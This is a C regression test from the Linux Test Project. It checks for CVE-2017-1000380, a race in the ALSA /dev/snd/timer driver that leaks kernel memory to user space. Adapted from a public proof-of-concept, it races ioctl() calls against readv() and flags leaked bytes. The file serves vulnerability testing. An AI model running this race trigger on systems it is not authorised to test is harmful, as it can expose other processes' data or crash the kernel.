1*49cdfc7eSAndroid Build Coastguard Worker // SPDX-License-Identifier: GPL-2.0-or-later
2*49cdfc7eSAndroid Build Coastguard Worker
3*49cdfc7eSAndroid Build Coastguard Worker /* Copyright (c) 2019 Michael Moese <[email protected]>
4*49cdfc7eSAndroid Build Coastguard Worker * Regression test for CVE-2017-1000380 based on the original PoC exploit
5*49cdfc7eSAndroid Build Coastguard Worker * by Alexander Potapenko <[email protected]>
6*49cdfc7eSAndroid Build Coastguard Worker *
7*49cdfc7eSAndroid Build Coastguard Worker * Be careful! This test may crash your kernel!
8*49cdfc7eSAndroid Build Coastguard Worker *
9*49cdfc7eSAndroid Build Coastguard Worker * The test performs several ioctl() parallel with readv() on the same
10*49cdfc7eSAndroid Build Coastguard Worker * file descriptor to /dev/snd/timer. A buggy kernel will leak memory
11*49cdfc7eSAndroid Build Coastguard Worker * to the process, which may contain information from the kernel or
12*49cdfc7eSAndroid Build Coastguard Worker * any other process on the system.
13*49cdfc7eSAndroid Build Coastguard Worker *
14*49cdfc7eSAndroid Build Coastguard Worker * The issue was fixed with
15*49cdfc7eSAndroid Build Coastguard Worker * http://git.kernel.org/linus/d11662f4f798b50d8c8743f433842c3e40fe3378
16*49cdfc7eSAndroid Build Coastguard Worker * http://git.kernel.org/linus/ba3021b2c79b2fa9114f92790a99deb27a65b728
17*49cdfc7eSAndroid Build Coastguard Worker */
18*49cdfc7eSAndroid Build Coastguard Worker
19*49cdfc7eSAndroid Build Coastguard Worker #include "config.h"
20*49cdfc7eSAndroid Build Coastguard Worker #include "tst_test.h"
21*49cdfc7eSAndroid Build Coastguard Worker #include "tst_fuzzy_sync.h"
22*49cdfc7eSAndroid Build Coastguard Worker #include "tst_safe_macros.h"
23*49cdfc7eSAndroid Build Coastguard Worker #include "tst_safe_pthread.h"
24*49cdfc7eSAndroid Build Coastguard Worker
25*49cdfc7eSAndroid Build Coastguard Worker #include <errno.h>
26*49cdfc7eSAndroid Build Coastguard Worker #include <fcntl.h>
27*49cdfc7eSAndroid Build Coastguard Worker #include <pthread.h>
28*49cdfc7eSAndroid Build Coastguard Worker #include <stdio.h>
29*49cdfc7eSAndroid Build Coastguard Worker #include <string.h>
30*49cdfc7eSAndroid Build Coastguard Worker #include <sys/uio.h>
31*49cdfc7eSAndroid Build Coastguard Worker #include <sys/ioctl.h>
32*49cdfc7eSAndroid Build Coastguard Worker #include <sound/asound.h>
33*49cdfc7eSAndroid Build Coastguard Worker
34*49cdfc7eSAndroid Build Coastguard Worker #define MAX_BUFSIZE 1024
35*49cdfc7eSAndroid Build Coastguard Worker
36*49cdfc7eSAndroid Build Coastguard Worker static int snd_fd;
37*49cdfc7eSAndroid Build Coastguard Worker static struct tst_fzsync_pair fzsync_pair;
38*49cdfc7eSAndroid Build Coastguard Worker
ioctl_thread(void * unused)39*49cdfc7eSAndroid Build Coastguard Worker static void *ioctl_thread(void *unused)
40*49cdfc7eSAndroid Build Coastguard Worker {
41*49cdfc7eSAndroid Build Coastguard Worker int tread_arg = 1;
42*49cdfc7eSAndroid Build Coastguard Worker struct snd_timer_select ts;
43*49cdfc7eSAndroid Build Coastguard Worker struct snd_timer_params tp;
44*49cdfc7eSAndroid Build Coastguard Worker
45*49cdfc7eSAndroid Build Coastguard Worker memset(&ts, 0, sizeof(ts));
46*49cdfc7eSAndroid Build Coastguard Worker ts.id.dev_class = 1;
47*49cdfc7eSAndroid Build Coastguard Worker
48*49cdfc7eSAndroid Build Coastguard Worker memset(&tp, 0, sizeof(tp));
49*49cdfc7eSAndroid Build Coastguard Worker tp.ticks = 1;
50*49cdfc7eSAndroid Build Coastguard Worker tp.filter = 0xf;
51*49cdfc7eSAndroid Build Coastguard Worker
52*49cdfc7eSAndroid Build Coastguard Worker while (tst_fzsync_run_b(&fzsync_pair)) {
53*49cdfc7eSAndroid Build Coastguard Worker tst_fzsync_start_race_b(&fzsync_pair);
54*49cdfc7eSAndroid Build Coastguard Worker ioctl(snd_fd, SNDRV_TIMER_IOCTL_TREAD, &tread_arg);
55*49cdfc7eSAndroid Build Coastguard Worker ioctl(snd_fd, SNDRV_TIMER_IOCTL_SELECT, &ts);
56*49cdfc7eSAndroid Build Coastguard Worker ioctl(snd_fd, SNDRV_TIMER_IOCTL_PARAMS, &tp);
57*49cdfc7eSAndroid Build Coastguard Worker ioctl(snd_fd, SNDRV_TIMER_IOCTL_START, 0);
58*49cdfc7eSAndroid Build Coastguard Worker tst_fzsync_end_race_b(&fzsync_pair);
59*49cdfc7eSAndroid Build Coastguard Worker }
60*49cdfc7eSAndroid Build Coastguard Worker return unused;
61*49cdfc7eSAndroid Build Coastguard Worker }
62*49cdfc7eSAndroid Build Coastguard Worker
setup(void)63*49cdfc7eSAndroid Build Coastguard Worker static void setup(void)
64*49cdfc7eSAndroid Build Coastguard Worker {
65*49cdfc7eSAndroid Build Coastguard Worker if(access("/dev/snd/timer", F_OK))
66*49cdfc7eSAndroid Build Coastguard Worker tst_brk(TCONF, "The file '/dev/snd/timer' is not exist");
67*49cdfc7eSAndroid Build Coastguard Worker
68*49cdfc7eSAndroid Build Coastguard Worker tst_fzsync_pair_init(&fzsync_pair);
69*49cdfc7eSAndroid Build Coastguard Worker snd_fd = SAFE_OPEN("/dev/snd/timer",
70*49cdfc7eSAndroid Build Coastguard Worker O_RDONLY|O_CREAT|O_NOCTTY|O_SYNC|O_LARGEFILE, 0);
71*49cdfc7eSAndroid Build Coastguard Worker }
72*49cdfc7eSAndroid Build Coastguard Worker
cleanup(void)73*49cdfc7eSAndroid Build Coastguard Worker static void cleanup(void)
74*49cdfc7eSAndroid Build Coastguard Worker {
75*49cdfc7eSAndroid Build Coastguard Worker if (snd_fd > 0)
76*49cdfc7eSAndroid Build Coastguard Worker SAFE_CLOSE(snd_fd);
77*49cdfc7eSAndroid Build Coastguard Worker }
78*49cdfc7eSAndroid Build Coastguard Worker
run(void)79*49cdfc7eSAndroid Build Coastguard Worker static void run(void)
80*49cdfc7eSAndroid Build Coastguard Worker {
81*49cdfc7eSAndroid Build Coastguard Worker size_t len;
82*49cdfc7eSAndroid Build Coastguard Worker int size;
83*49cdfc7eSAndroid Build Coastguard Worker struct iovec iov;
84*49cdfc7eSAndroid Build Coastguard Worker pthread_t th;
85*49cdfc7eSAndroid Build Coastguard Worker char read_buf[MAX_BUFSIZE];
86*49cdfc7eSAndroid Build Coastguard Worker int i, nz;
87*49cdfc7eSAndroid Build Coastguard Worker pthread_attr_t thread_attr;
88*49cdfc7eSAndroid Build Coastguard Worker
89*49cdfc7eSAndroid Build Coastguard Worker pthread_attr_init(&thread_attr);
90*49cdfc7eSAndroid Build Coastguard Worker pthread_attr_setdetachstate(&thread_attr, PTHREAD_CREATE_DETACHED);
91*49cdfc7eSAndroid Build Coastguard Worker SAFE_PTHREAD_CREATE(&th, &thread_attr, ioctl_thread, NULL);
92*49cdfc7eSAndroid Build Coastguard Worker
93*49cdfc7eSAndroid Build Coastguard Worker iov.iov_base = read_buf;
94*49cdfc7eSAndroid Build Coastguard Worker iov.iov_len = sizeof(read_buf) - 1;
95*49cdfc7eSAndroid Build Coastguard Worker
96*49cdfc7eSAndroid Build Coastguard Worker tst_fzsync_pair_reset(&fzsync_pair, NULL);
97*49cdfc7eSAndroid Build Coastguard Worker while (tst_fzsync_run_a(&fzsync_pair)) {
98*49cdfc7eSAndroid Build Coastguard Worker nz = 0;
99*49cdfc7eSAndroid Build Coastguard Worker memset(read_buf, 0, sizeof(read_buf));
100*49cdfc7eSAndroid Build Coastguard Worker
101*49cdfc7eSAndroid Build Coastguard Worker tst_fzsync_start_race_a(&fzsync_pair);
102*49cdfc7eSAndroid Build Coastguard Worker size = readv(snd_fd, &iov, 1);
103*49cdfc7eSAndroid Build Coastguard Worker tst_fzsync_end_race_a(&fzsync_pair);
104*49cdfc7eSAndroid Build Coastguard Worker
105*49cdfc7eSAndroid Build Coastguard Worker /* check if it could be a valid ioctl result */
106*49cdfc7eSAndroid Build Coastguard Worker if (size == 0)
107*49cdfc7eSAndroid Build Coastguard Worker continue;
108*49cdfc7eSAndroid Build Coastguard Worker
109*49cdfc7eSAndroid Build Coastguard Worker /* check if the buffer is non-empty */
110*49cdfc7eSAndroid Build Coastguard Worker for (i = 0; i < size; i++) {
111*49cdfc7eSAndroid Build Coastguard Worker if (read_buf[i]) {
112*49cdfc7eSAndroid Build Coastguard Worker nz = 1;
113*49cdfc7eSAndroid Build Coastguard Worker break;
114*49cdfc7eSAndroid Build Coastguard Worker }
115*49cdfc7eSAndroid Build Coastguard Worker }
116*49cdfc7eSAndroid Build Coastguard Worker if (!nz)
117*49cdfc7eSAndroid Build Coastguard Worker continue;
118*49cdfc7eSAndroid Build Coastguard Worker
119*49cdfc7eSAndroid Build Coastguard Worker len = strlen(read_buf);
120*49cdfc7eSAndroid Build Coastguard Worker /* the kernel's struct snd_timer_read is two unsigned integers*/
121*49cdfc7eSAndroid Build Coastguard Worker if (len <= 2 * sizeof(unsigned int))
122*49cdfc7eSAndroid Build Coastguard Worker continue;
123*49cdfc7eSAndroid Build Coastguard Worker
124*49cdfc7eSAndroid Build Coastguard Worker tst_res(TFAIL, "kernel seems vulnerable");
125*49cdfc7eSAndroid Build Coastguard Worker return;
126*49cdfc7eSAndroid Build Coastguard Worker }
127*49cdfc7eSAndroid Build Coastguard Worker
128*49cdfc7eSAndroid Build Coastguard Worker if (tst_taint_check() != 0)
129*49cdfc7eSAndroid Build Coastguard Worker tst_res(TFAIL, "kernel seems vulnerable");
130*49cdfc7eSAndroid Build Coastguard Worker else
131*49cdfc7eSAndroid Build Coastguard Worker tst_res(TPASS, "kernel seems not vulnerable");
132*49cdfc7eSAndroid Build Coastguard Worker }
133*49cdfc7eSAndroid Build Coastguard Worker
134*49cdfc7eSAndroid Build Coastguard Worker static struct tst_test test = {
135*49cdfc7eSAndroid Build Coastguard Worker .test_all = run,
136*49cdfc7eSAndroid Build Coastguard Worker .setup = setup,
137*49cdfc7eSAndroid Build Coastguard Worker .cleanup = cleanup,
138*49cdfc7eSAndroid Build Coastguard Worker .taint_check = TST_TAINT_W | TST_TAINT_D,
139*49cdfc7eSAndroid Build Coastguard Worker .max_runtime = 150,
140*49cdfc7eSAndroid Build Coastguard Worker .tags = (const struct tst_tag[]) {
141*49cdfc7eSAndroid Build Coastguard Worker {"linux-git", "d11662f4f798"},
142*49cdfc7eSAndroid Build Coastguard Worker {"linux-git", "ba3021b2c79b"},
143*49cdfc7eSAndroid Build Coastguard Worker {"CVE", "2017-1000380"},
144*49cdfc7eSAndroid Build Coastguard Worker {}
145*49cdfc7eSAndroid Build Coastguard Worker }
146*49cdfc7eSAndroid Build Coastguard Worker };
147